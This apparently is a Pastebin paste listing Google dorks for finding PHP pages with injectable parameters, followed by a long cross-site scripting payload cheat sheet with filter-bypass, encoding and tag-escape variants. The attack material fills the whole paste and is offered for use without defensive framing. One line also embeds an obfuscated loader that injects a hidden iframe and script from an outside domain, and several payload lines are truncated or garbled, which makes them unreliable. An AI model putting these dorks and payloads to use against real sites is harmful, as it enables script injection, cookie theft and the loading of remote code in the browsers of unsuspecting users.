API tools faq
paste
Nescafe

Xss Dork and PayLoad

Nescafe
Apr 28th, 2019
1,176
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.45 KB | None | 0 0
raw download clone embed print report
  1. XSS DORKS
  2. inurl:".php?cmd="
  3. inurl:".php?z="
  4. inurl:".php?q="
  5. inurl:".php?search="
  6. inurl:".php?query="
  7. inurl:".php?searchstring="
  8. inurl:".php?keyword="
  9. inurl:".php?file="
  10. inurl:".php?years="
  11. inurl:".php?txt="
  12. inurl:".php?tag="
  13. inurl:".php?max="
  14. inurl:".php?from="
  15. inurl:".php?author="
  16. inurl:".php?pass="
  17. inurl:".php?feedback="
  18. inurl:".php?mail="
  19. inurl:".php?cat="
  20. inurl:".php?vote="
  21. inurl:search.php?q=
  22. inurl:com_feedpostold/feedpost.php?url=
  23. inurl:scrapbook.php?id=
  24. inurl:headersearch.php?sid=
  25. inurl:/poll/default.asp?catid=inurl:/search_results.php?search=
  26.  
  27.  
  28. -------------XSS Payloads--------------
  29.  
  30.  
  31. Ultimate Cross Site Scripting Attack Cheat Sheet
  32.  
  33. Tags to Trigger XSS Attacks:
  34. onclick
  35. ondblclick
  36. onmousedown
  37. onmousemove
  38. onmouseover
  39. onmouseout
  40. onmouseup
  41. onkeydown
  42. onkeypress
  43. onkeyup
  44. onabort
  45. onerror
  46. onload
  47. onresize
  48. onscroll
  49. onunload
  50. onsubmit
  51. onblur
  52. onchange
  53. onfocus
  54. onreset
  55. onselect
  56. onMoveOn
  57.  
  58.  
  59. Brackets for Tags
  60. >"
  61. ">
  62. <"
  63. ><
  64. >"<
  65. .\>"</.
  66. ./>%20<./
  67. />%20<
  68. %20/%20>
  69. %20">%20<
  70. %3E%3C
  71. Pjw=
  72.  
  73.  
  74. XSS Strings:
  75. <meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
  76. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
  77. <SCRIPT>document.cookie=true;</SCRIPT>
  78. <IMG SRC="jav ascript:document.cookie=true;">
  79. <IMG SRC="javascript:document.cookie=true;">
  80. <IMG SRC=" &#14; javascript:document.cookie=true;">
  81. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
  82. <SCRIPT>document.cookie=true;//<</SCRIPT>
  83. <SCRIPT <B>document.cookie=true;</SCRIPT>
  84. <IMG SRC="javascript:document.cookie=true;">
  85. <iframe src="javascript:document.cookie=true;>
  86. <SCRIPT>a=/XSS/\ndocument.cookie=true;</SCRIPT>
  87. </TITLE><SCRIPT>document.cookie=true;</SCRIPT>
  88. <INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
  89. <BODY BACKGROUND="javascript:document.cookie=true;">
  90. <BODY ONLOAD=document.cookie=true;>
  91. <IMG DYNSRC="javascript:document.cookie=true;">
  92. <IMG LOWSRC="javascript:document.cookie=true;">
  93. <BGSOUND SRC="javascript:document.cookie=true;">
  94. <BR SIZE="&{document.cookie=true}">
  95. <LAYER SRC="javascript:document.cookie=true;"></LAYER>
  96. <LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
  97. <STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>XSS
  98. �script�document.cookie=true;�/script�
  99. <IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
  100. <FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
  101. <TABLE BACKGROUND="javascript:document.cookie=true;">
  102. <TABLE><TD BACKGROUND="javascript:document.cookie=true;">
  103. <DIV STYLE="background-image: url(javascript:document.cookie=true;)">
  104. <DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
  105. <DIV STYLE="width: expression(document.cookie=true);">
  106. <STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
  107. <IMG STYLE="xss:expr/*XSS*/ession(document.cookie=true)">
  108. <XSS STYLE="xss:expression(document.cookie=true)">
  109. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.cookie=true)'>
  110. <STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
  111. <STYLE>.XSS{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=XSS></A>
  112. <STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
  113. <SCRIPT>document.cookie=true;</SCRIPT>
  114. <BASE HREF="javascript:document.cookie=true;//">
  115. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
  116. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  117. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  118. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.cookie=true</SCRIPT>"><script>if(top==window){var engageNameSpace="engagens";"undefined"==typeof window[engageNameSpace]&&(window[engageNameSpace]={}),window[engageNameSpace].engageLoader=function(){function e(e){return"undefined"!=typeof e&&null!==e}function t(){var t=document.createElement("script");t.setAttribute("src",s),t.setAttribute("id","fn_engage_script"),t.setAttribute("async",""),(null==document.head||e(document.head))&&(document.head=document.getElementsByTagName("head")[0]),document.head.appendChild(t)}function n(){var t=r();if(e(t)){var n=t;i()&&(n=d(t));var o;try{o=document.documentElement,o.appendChild(n)}catch(c){o=document.body,o.appendChild(n)}a()}}function a(){function e(e){var n=e.data;"l8IframeIsReady"===n.message&&t()}window.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onmessage",e)}function r(){var t=document.createElement("iframe");if(e(t)){t.setAttribute("id","fn_engage"),t.setAttribute("src",u),t.setAttribute("target","_blank"),t.setAttribute("frameborder","0");var n=/firefox/i.exec(navigator.userAgent);e(n)&&n.length>0?(t.style.height=0,t.style.width=0):t.style.display="none",t.frameBorder="no"}return t}function i(){var t=!1,n=/android (\d+)/i.exec(navigator.userAgent);return e(n)&&n.length>0&&(t=parseInt(n[1])>=4),t}function d(e){var t=document.createElement("div");return t.setAttribute("id","fn_wrapper_div"),t.style.position="fixed",t.style.display="none",t.ontouchstart=function(){return!0},t.appendChild(e),t}function o(){var t=void 0,a=this,r=function(){e(t)&&(window.clearTimeout(t),t=void 0,n.call(a))};t=window.setTimeout(r,1e4),"function"==typeof window.addEventListener?window.addEventListener("load",r,!1):window.attachEvent("onload",r)}var c="http://globe.moreforme.net",u=c+"/l8/EngageService?v=1",s=c+"/scripts/Engage.js";o()};var engageLoader=new window[engageNameSpace].engageLoader}</script></BODY></HTML>
  119. <? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
  120. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
  121. <a href="javascript#document.cookie=true;">
  122. <div onmouseover="document.cookie=true;">
  123. <img src="javascript:document.cookie=true;">
  124. <img dynsrc="javascript:document.cookie=true;">
  125. <input type="image" dynsrc="javascript:document.cookie=true;">
  126. <bgsound src="javascript:document.cookie=true;">
  127. &<script>document.cookie=true;</script>
  128. &{document.cookie=true;};
  129. <img src=&{document.cookie=true;};>
  130. <link rel="stylesheet" href="javascript:document.cookie=true;">
  131. <img src="mocha:document.cookie=true;">@mario_payload
  132. <img src="livescript:document.cookie=true;">
  133. <a href="about:<script>document.cookie=true;</script>">
  134. <body onload="document.cookie=true;">
  135. <div style="background-image: url(javascript:document.cookie=true;);">
  136. <div style="behaviour: url([link to code]);">
  137. <div style="binding: url([link to code]);">
  138. <div style="width: expression(document.cookie=true;);">
  139. <style type="text/javascript">document.cookie=true;</style>
  140. <object classid="clsid:..." codebase="javascript:document.cookie=true;">
  141. <style><!--</style><script>document.cookie=true;//--></script>
  142. <<script>document.cookie=true;</script>
  143. <script>document.cookie=true;//--></script>
  144. <!-- -- --><script>document.cookie=true;</script><!-- -- -->
  145. <img src="blah"onmouseover="document.cookie=true;">
  146. <img src="blah>" onmouseover="document.cookie=true;">
  147. <xml src="javascript:document.cookie=true;">
  148. <xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
  149. <div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
  150.  
  151.  
  152. Restriction Bypass:
  153. >"<iframe src=http://global-evolution.info/>@gmail.com
  154. >"<script>alert(document.cookie)</script><div style="1@gmail.com
  155. >"<script>alert(document.cookie)</script>@gmail.com
  156.  
  157.  
  158. <html><body>
  159. <button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
  160. 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,105,112,116,105,1
  161. 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr
  162. om.Char.Code</button></body></html>
  163.  
  164. %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F
  165. %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F
  166. %73%63%72%69%70%74%3E
  167.  
  168. Obfuscated Bypass:
  169. >�<ScriPt>ALeRt("xssOBFSbypass")</scriPt>
  170.  
  171.  
  172.  
  173. XSS with close TAG to escape:
  174. >"<meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
  175. >"<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.cookie=true</SCRIPT>">
  176. >"<SCRIPT>document.cookie=true;</SCRIPT>
  177. >"<IMG SRC="jav ascript:document.cookie=true;">
  178. >"<IMG SRC="javascript:document.cookie=true;">
  179. >"<IMG SRC=" &#14; javascript:document.cookie=true;">
  180. >"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=document.cookie=true;>
  181. >"<SCRIPT>document.cookie=true;//<</SCRIPT>
  182. >"<SCRIPT <B>document.cookie=true;</SCRIPT>
  183. >"<IMG SRC="javascript:document.cookie=true;">
  184. >"<iframe src="javascript:document.cookie=true;>
  185. >"<SCRIPT>a=/XSS/\ndocument.cookie=true;</SCRIPT>
  186. >"</TITLE><SCRIPT>document.cookie=true;</SCRIPT>
  187. >"<INPUT TYPE="IMAGE" SRC="javascript:document.cookie=true;">
  188. >"<BODY BACKGROUND="javascript:document.cookie=true;">
  189. >"<BODY ONLOAD=document.cookie=true;>
  190. >"<IMG DYNSRC="javascript:document.cookie=true;">
  191. >"<IMG LOWSRC="javascript:document.cookie=true;">
  192. >"<BGSOUND SRC="javascript:document.cookie=true;">
  193. >"<BR SIZE="&{document.cookie=true}">
  194. >"<LAYER SRC="javascript:document.cookie=true;"></LAYER>
  195. >"<LINK REL="stylesheet" HREF="javascript:document.cookie=true;">
  196. >"<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>XSS
  197. >"�script�document.cookie=true;�/script�
  198. >"<IFRAME SRC="javascript:document.cookie=true;"></IFRAME>
  199. >"<FRAMESET><FRAME SRC="javascript:document.cookie=true;"></FRAMESET>
  200. >"<TABLE BACKGROUND="javascript:document.cookie=true;">
  201. >"<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
  202. >"<DIV STYLE="background-image: url(javascript:document.cookie=true;)">
  203. >"<DIV STYLE="background-image: url(&#1;javascript:document.cookie=true;)">
  204. >"<DIV STYLE="width: expression(document.cookie=true);">
  205. >"<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
  206. >"<IMG STYLE="xss:expr/*XSS*/ession(document.cookie=true)">
  207. >"<XSS STYLE="xss:expression(document.cookie=true)">
  208. >"exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.cookie=true)'>
  209. >"<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
  210. >"<STYLE>.XSS{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=XSS></A>
  211. >"<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
  212. >"<SCRIPT>document.cookie=true;</SCRIPT>
  213. >"<BASE HREF="javascript:document.cookie=true;//">
  214. >"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.cookie=true></OBJECT>
  215. >"<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  216. >"<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  217. >"<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.cookie=true</SCRIPT>"></BODY></HTML>
  218. >"<? echo('<SCR)';echo('IPT>document.cookie=true</SCRIPT>'); ?>
  219. >"<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.cookie=true;+ADw-/SCRIPT+AD4-
  220. >"<a href="javascript#document.cookie=true;">
  221. >"<div onmouseover="document.cookie=true;">
  222. >"<img src="javascript:document.cookie=true;">
  223. >"<img dynsrc="javascript:document.cookie=true;">
  224. >"<input type="image" dynsrc="javascript:document.cookie=true;">
  225. >"<bgsound src="javascript:document.cookie=true;">
  226. >"&<script>document.cookie=true;</script>
  227. >"&{document.cookie=true;};
  228. >"<img src=&{document.cookie=true;};>
  229. >"<link rel="stylesheet" href="javascript:document.cookie=true;">
  230. >"<img src="mocha:document.cookie=true;">
  231. >"<img src="livescript:document.cookie=true;">
  232. >"<a href="about:<script>document.cookie=true;</script>">
  233. >"<body onload="document.cookie=true;">
  234. >"<div style="background-image: url(javascript:document.cookie=true;);">
  235. >"<div style="behaviour: url([link to code]);">
  236. >"<div style="binding: url([link to code]);">
  237. >"<div style="width: expression(document.cookie=true;);">
  238. >"<style type="text/javascript">document.cookie=true;</style>
  239. >"<object classid="clsid:..." codebase="javascript:document.cookie=true;">
  240. >"<style><!--</style><script>document.cookie=true;//--></script>
  241. >"<<script>document.cookie=true;</script>
  242. >"<script>document.cookie=true;//--></script>
  243. >"<!-- -- --><script>document.cookie=true;</script><!-- -- -->
  244. >"<img src="blah"onmouseover="document.cookie=true;">
  245. >"<img src="blah>" onmouseover="document.cookie=true;">
  246. >"<xml src="javascript:document.cookie=true;">
  247. >"<xml id="X"><a><b><script>document.cookie=true;</script>;</b></a></xml>
  248. >"<div datafld="b" dataformatas="html" datasrc="#X"></div> ]]> [\xC0][\xBC]script>document.cookie=true;[\xC0][\xBC]/script>
  249.  
  250.  
  251.  
  252. Others: Random
  253. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  254. '';!--"<XSS>=&{()}
  255. <SCRIPT SRC=http://test.com/xss.js></SCRIPT>
  256. <IMG SRC="javascript:alert('XSS');">
  257. <IMG SRC=javascript:alert('XSS')>
  258. <IMG SRC=JaVaScRiPt:alert('XSS')>
  259. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  260. <IMG SRC=`javascript:alert("RM'XSS'")`>
  261. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  262. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  263. <IMG SRC="jav ascript:alert('XSS');">
  264. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  265. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  266. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  267. <IMG
  268. SRC
  269. =
  270. "
  271. j
  272. a
  273. v
  274. ><img id=XSS SRC=x onerror=alert(XSS);>
  275. ;!--"<XSS>=&{()}"
  276. <IMG id=XSS SRC="javascript:alert('XSS');">
  277. <IMG id=XSS SRC=javascript:alert('XSS')>
  278. <IMG id=XSS SRC=JaVaScRiPt:alert('XSS')>
  279. <IMG id=XSS SRC=javascript:alert("XSS")>
  280. <IMG id=XSS SRC=`javascript:alert("'XSS'")`>
  281. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  282. <IMG id=XSS SRC="jav ascript:alert('XSS');">
  283. <IMG id=XSS SRC="jav ascript:alert('XSS');">
  284. <IMG id=XSS SRC="javascript:alert('XSS');">
  285. <IMG id=XSS SRC="jav
  286. ascript:alert('XSS');">
  287. perl -e 'print "<IMG id=XSS SRC=java\0script:alert(\"XSS\")>";' > out
  288. <IMG id=XSS SRC=" javascript:alert('XSS');">
  289. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  290. <<SCRIPT>alert("XSS");//<</SCRIPT>
  291. \";alert('XSS');//
  292. <IMG id=XSS SRC='javascript:alert('XSS')
  293. <SCRIPT>alert(/XSS/.source)</SCRIPT>
  294. <BODY BACKGROUND="javascript:alert('XSS')">
  295. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  296. <INPUT TYPE="IMAGE" id=XSS SRC="javascript:alert('XSS');">
  297. <BODY ONLOAD=alert('XSS')>
  298. <IMG DYN id=XSS SRC="javascript:alert('XSS')">
  299. <IMG LOW id=XSS SRC="javascript:alert('XSS')">
  300. <BGSOUND id=XSS SRC="javascript:alert('XSS');">
  301. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  302. <IMG id=XSS SRC='vbscript:msgbox("XSS")'>
  303. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  304. <TABLE id=XSS BACKGROUND="javascript:alert('XSS')">
  305. <TABLE id=XSS><TD BACKGROUND="javascript:alert('XSS')">
  306. <DIV id=XSS STYLE="background-image: url(javascript:alert('XSS'))">
  307. <DIV id=XSS STYLE="width: expression(alert('XSS'));">
  308. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  309. <IFRAME id=XSS SRC="javascript:alert('XSS');"></IFRAME>
  310. <FRAMESET><FRAME id=XSS SRC="javascript:alert('XSS');"></FRAMESET>
  311. <TABLE BACKGROUND="javascript:alert('XSS')">
  312. <TABLE><TD BACKGROUND="javascript:alert('XSS')">"
  313. <DIV id=XSS STYLE="background-image: url(javascript:alert('XSS'))">
  314. <DIV id=XSS STYLE="width: expression(alert('XSS'));">
  315. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  316. <IMG id=XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  317. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  318. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  319. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  320. <BASE HREF="javascript:alert('XSS');//">
  321. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
  322. a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);
  323. <XML id=XSS><X><C><![CDATA[<IMG id=XSS SRC="javas]]><![CDATA[cript:alert('XSS');">]]></C></X><xml><SPAN DATAid=XSS SRC=#I DATAFLD=CDATAFORMATAS=HTML></SPAN>
  324. <XML ID="XSS"><I><B><IMG id=XSS SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATAid=XSS SRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  325. <XML id=XSS SRC="xsstest.xml" ID=I></XML><SPAN DATAid=XSS SRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  326. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
  327. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
  328. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  329. //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  330. <IMG id=XSS SRC=javascript:alert(String.fromCharCode(88,83,83))>
  331. <IMG id=XSS SRC="&14;javascript:alert('XSS');">
  332. <SCRIPT <B>=alert('XSS');"></SCRIPT>
  333. <IFRAME id=XSS SRC="javascript:alert('XSS'); <
  334. <SCRIPT>a=/XSS/nalert('XSS');</SCRIPT>
  335. <STYLE>li {list-style-image: url("javascript:alert('XSS');</STYLE><UL><LI>XSS
  336. <DIV STYLE="background-image: url(javascript:alert('XSS'));">
  337. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  338. <a href="javascript#alert('XSS');">
  339. <div onmouseover="alert('XSS');">,
  340. <input type="image" dynid=XSS SRC="javascript:alert('XSS');">
  341. &<script>alert('XSS');</script>">
  342. <IMG id=XSS SRC=&{alert('XSS');};>
  343. <a id=XSS href="about:<script>alert('XSS');</script>">
  344. <DIV id=XSS STYLE="binding: url(javascript:alert('XSS'));">
  345. <OBJECT classid=clsid:..." codebase="javascript:alert('XSS');">
  346. <style><!--</style><script>alert('XSS');//--></script>
  347. ![CDATA[<!--]]<script>alert('XSS');//--></script>
  348. <!-- -- --><script>alert('XSS');</script><!-- -- -->
  349. <img id=XSS SRC="blah"onmouseover="alert('XSS');">
  350. <img id=XSS SRC="blah>"onmouseover="alert('XSS');">
  351. <xml id="X"><a><b><script>alert('XSS');</script>;<b></a></xml>
  352. <div datafld="b" dataformatas="html" dataid=XSS SRC="#XSS"></div>
  353. [\xC0][\xBC]script>alert('XSS');[\xC0][\xBC]/script>
  354. <XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas]]<![CDATA[cript:alert('XSS');">]]</C><X></xml>
  355. <form id="test" /><button form="test" formaction="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">X
  356. <input id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
  357. <select id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
  358. <textarea id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
  359. <keygen id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
  360. <input id=XSS onblur=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus><input autofocus>
  361. <video id=XSS poster=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))//
  362. <body id=XSS onscroll=eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  363. <video><source onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">
  364. <video onerror="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))"><source>
  365. <iframe id=XSS / /onload=alert(/XSS/)></iframe>
  366. <iframe id=XSS / "onload=alert(/XSS/)></iframe>
  367. <iframe id=XSS///////onload=alert(/XSS/)></iframe>
  368. <iframe id=XSS "onload=alert(/XSS/)></iframe>
  369. <iframe id=XSS <?php echo chr(11)?> onload=alert(/XSS/)></iframe>
  370. <iframe id=XSS <?php echo chr(12)?> onload=alert(/XSS/)></iframe>
  371. " onfocus=alert(XSS) "> <"
  372. " onblur=alert(XSS) "> <"
  373. " onmouseover=alert(XSS) ">
  374. " onclick=alert(XSS) ">
  375. <FRAMESET><FRAME id=XSS SRC=\"javascript:alert('XSS');\"></FRAMESET>
  376. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
  377. </textarea>'"><script>alert(XSS)</script>
  378. '""><script language="JavaScript"> alert('X \nS \nS');</script>
  379. </script></script><<<<script><>>>><<<script>alert(XSS)</script>
  380. <html><noalert><noscript>(XSS)</noscript><script>(XSS)</script>
  381. <INPUT TYPE="IMAGE" id=XSS SRC="javascript:alert('XSS');">
  382. '></select><script>alert(XSS)</script>
  383. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  384. <SCRIPT>document.write("XSS");</SCRIPT>
  385. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
  386. ='><script>alert("xss")</script>
  387. <body background=javascript:'"><script>alert(XSS)</script>></body>
  388. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
  389. <SCRIPT>alert('XSS');</SCRIPT>
  390. '';!--"<XSS>=&{()}
  391. <IMG id=XSS SRC="javascript:alert('XSS');">
  392. <IMG id=XSS SRC=javascript:alert('XSS')>
  393. <IMG id=XSS SRC=JaVaScRiPt:alert('XSS')>
  394. <IMG id=XSS SRC=javascript:alert("XSS")>
  395. <IMG id=XSS SRC=`javascript:alert("RSnake says, 'XSS'")`>
  396. <IMG id=XSS SRC=javascript:alert(String.fromCharCode(88,83,83))>
  397. id=XSS SRC=<IMG 6;avascript:alert('XSS')>
  398. <IMG id=XSS SRC=javascript:alert('XSS')>
  399. <IMG id=XSS SRC=javascript:alert('XSS')>
  400. <IMG id=XSS SRC="jav ascript:alert('XSS');">
  401. <IMG id=XSS SRC="jav ascript:alert('XSS');">
  402. <IMG id=XSS SRC="javascript:alert('XSS');">
  403. <IMG id=XSS SRC="jav
  404. ascript:alert('XSS');">
  405. <IMG id=XSS SRC=" javascript:alert('XSS');">
  406. <IMG id=XSS SRC="javascript:alert('XSS')"
  407. <SCRIPT>a=/XSS/
  408. \";alert('XSS');//
  409. <INPUT TYPE="IMAGE" id=XSS SRC="javascript:alert('XSS');">
  410. <BODY BACKGROUND="javascript:alert('XSS')">
  411. <BODY ONLOAD=alert('XSS')>
  412. <IMG DYNid=XSS SRC="javascript:alert('XSS')">
  413. <IMG LOWid=XSS SRC="javascript:alert('XSS')">
  414. <BGSOUND id=XSS SRC="javascript:alert('XSS');">
  415. <BR SIZE="&{alert('XSS')}">
  416. http://xxxx.com/scriptlet.html">>
  417. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  418. http://xxxx.com/xss.css">
  419. http://xxxx.com/xss.css>; REL=stylesheet">
  420. <IMG id=XSS SRC='vbscript:msgbox("XSS")'>
  421. <IMG id=XSS SRC="mocha:[code]">
  422. <IMG id=XSS SRC="livescript:[code]">
  423. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  424. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  425. <META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
  426. http://;URL=javascript:alert('XSS');">
  427. <IFRAME id=XSS SRC="javascript:alert('XSS');"></IFRAME>
  428. <FRAMESET><FRAME id=XSS SRC="javascript:alert('XSS');"></FRAMESET>
  429. <TABLE BACKGROUND="javascript:alert('XSS')">
  430. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  431. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  432. <DIV STYLE="width: expression(alert('XSS'));">
  433. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  434. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  435. <XSS STYLE="xss:expression(alert('XSS'))">
  436. exp/*<XSS STYLE='no\xss:noxss("*//*");
  437. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  438. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  439. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  440. <BASE HREF="javascript:alert('XSS');//">
  441. http://xxxx.com/scriptlet.html">>
  442. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
  443. getURL("javascript:alert('XSS')")
  444. a="get";
  445. <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas<![CDATA[cript:alert('XSS');">
  446. http://xxxx.com/xsstest.xml" ID=I>
  447. <HTML><BODY>
  448. <? echo('<SCR)';
  449. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  450. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  451. PT id=XSS SRC="http://xxxx.com/xss.js">>
  452. <sCrIpt>alert(1)</ScRipt>
  453. <iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
  454. Null-byte character between HTML attribute name and equal sign (IE, Safari).
